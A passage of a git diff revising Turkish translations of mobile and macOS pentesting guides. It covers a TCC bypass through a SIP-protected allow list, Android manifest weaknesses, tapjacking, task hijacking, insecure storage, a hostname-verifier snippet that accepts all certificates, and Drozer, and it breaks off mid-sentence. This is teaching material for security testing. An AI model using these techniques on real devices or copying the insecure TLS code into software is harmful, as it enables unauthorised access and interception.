bu **SIP atlatmasını TCC'yi atlatmak için** kötüye kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, bir TCC istisnası gerektiren uygulamaların izin listesi. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını** ekleyebilirse, uygulama TCC'yi atlatabilecektir.\ +Ancak, bu **SIP atlamasını TCC'yi atlamak için** kötüye kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, bir TCC istisnası gerektiren uygulamaların izin listesi. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını** ekleyebilirse, uygulama TCC'yi atlayabilecektir.\ Örneğin terminal eklemek için: ```bash # Get needed info diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index ce3568182..f6ee847cb 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,18 +13,18 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\ -**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, günlüklerin **okunması** gibi birçok işlevi yerine getirir. +**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, günlüklerin **okunması** gibi işlevleri yerine getirir. ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın. ## Smali -Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\ -[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. +Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ +[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden derlemeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. ## Diğer ilginç ipuçları -- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md) +- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md) - **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Cihazdan APK çıkarın: ```bash @@ -52,7 +52,7 @@ Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı o ### İlginç Bilgiler Arama -APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın. +APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın. **Firebase** @@ -60,15 +60,15 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml -Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. +Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelemesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar decompiler'lar kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir. -**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır: +**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır: - **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. -- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir. +- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle USB hata ayıklama etkinleştirildiğinde. - **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek. -- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. -- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir. +- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. +- **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir. - **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir. - **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular. @@ -76,8 +76,8 @@ Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyaları ### Tapjacking -**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\ -Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**. +**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır, böylece kullanıcı onunla etkileşime geçerken, etkileşimi kurban uygulamasına iletmektedir.\ +Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**. Daha fazla bilgi için: @@ -87,7 +87,7 @@ tapjacking.md ### Görev Ele Geçirme -**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). +**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). Daha fazla bilgi için: @@ -99,64 +99,64 @@ android-task-hijacking.md **Dahili Depolama** -Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**. +Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**. 1. **Statik Analiz:** - `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. 2. **Dinamik Analiz:** -- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. +- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. -**Dış Depolama** +**Harici Depolama** -**Dış depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır: +**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır: 1. **Erişilebilirlik**: -- Dış depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. +- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. 2. **Güvenlik Endişeleri**: -- Erişim kolaylığı göz önüne alındığında, **hassas bilgileri dış depolamada saklamamanız** önerilir. -- Dış depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir. -3. **Dış Depolamadan Veri İşleme**: -- Dış depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. -- Dinamik yükleme için dış depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. -- Uygulamanızın dış depolamadan yürütülebilir dosyaları alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**. +- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır. +3. **Harici Depolamadan Veri İşleme**: +- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. +- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. +- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. -Dış depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. +Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. > [!NOTE] > Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. **Açık metin olarak saklanan hassas veriler** -- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür. -- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür. +- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. +- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. ### Kırık TLS **Tüm Sertifikaları Kabul Etme** -Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile: +Bazı nedenlerden dolayı, geliştiriciler bazen tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz. +İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmemelisiniz. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz. ### Kırık Kriptografi **Zayıf Anahtar Yönetim Süreçleri** -Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik çalışmaları, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir. +Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir. **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** -Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır. +Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır. ### Diğer Kontroller -- **APK'yı obfuscate etmek** saldırganların tersine mühendislik çalışmalarını zorlaştırmak için önerilir. -- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir. -- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. -- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. +- **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemleri saldırganlar için zorlaşır. +- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir. +- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. +- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. - APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. ### React Native Uygulaması @@ -181,7 +181,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met ### Otomatik Statik Kod Analizi -[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir. +[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir. Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**. @@ -189,7 +189,7 @@ Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları Bir uygulama, içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. -### Biyometrik Kimlik Doğrulama Atlatma +### Biyometrik Kimlik Doğrulamasını Atlatma {{#ref}} bypass-biometric-authentication-android.md @@ -199,8 +199,8 @@ bypass-biometric-authentication-android.md - **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` -- `native` olarak tanımlanan **yerel fonksiyonlar**: `public native, System.loadLibrary, System.load` -- [Yerel fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) +- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load` +- [**Native fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) ### **Diğer Hileler** @@ -214,7 +214,7 @@ content-protocol.md ## Dinamik Analiz -> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. +> Öncelikle, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. ### Çevrimiçi Dinamik Analiz @@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla #### Bir emülatör kullanarak -- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler). -- Kurulumunu bu sayfada öğrenin: +- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler). +- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._) - [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). > [!NOTE] -> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin. +> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin. -Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: +Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: ![](<../../images/image (277).png>) @@ -251,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo #### Fiziksel bir cihaz kullanma -**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur: +**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur: 1. **Ayarlar**. 2. (Android 8.0'dan itibaren) **Sistem**'i seçin. @@ -259,8 +259,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo 4. **Build numarasına** 7 kez basın. 5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız. -> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ -> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz. +> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ +> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz. ### İstenmeyen Veri Sızıntısı @@ -269,12 +269,12 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. > [!WARNING] -> **Android 4.0'dan** sonraki **yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ +> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ > Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir. **Kopyala/Yapıştır Tamponu Önbellekleme** -Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebildiği** için hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir. +Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebilir**, bu da hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak çok önemlidir, örneğin kredi kartı bilgileri gibi, veri sızıntılarını önlemek için. **Çökme Günlükleri** @@ -288,33 +288,33 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş ### SQLite DB'leri -Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\ -Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır. +Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\ +Veritabanları `/data/data/the.package.name/databases` içinde yer almalıdır, örneğin `/data/data/com.mwr.example.sieve/databases` -Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**. +Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi** bulabiliyorsanız, bu hala bir **zayıflıktır**. Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema ` ile listeleyin. -### Drozer (Saldırı Etkinlikleri, İçerik Sağlayıcıları ve Hizmetler) +### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler) -[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\ -Drozer, **ihracat edilen etkinlikleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde 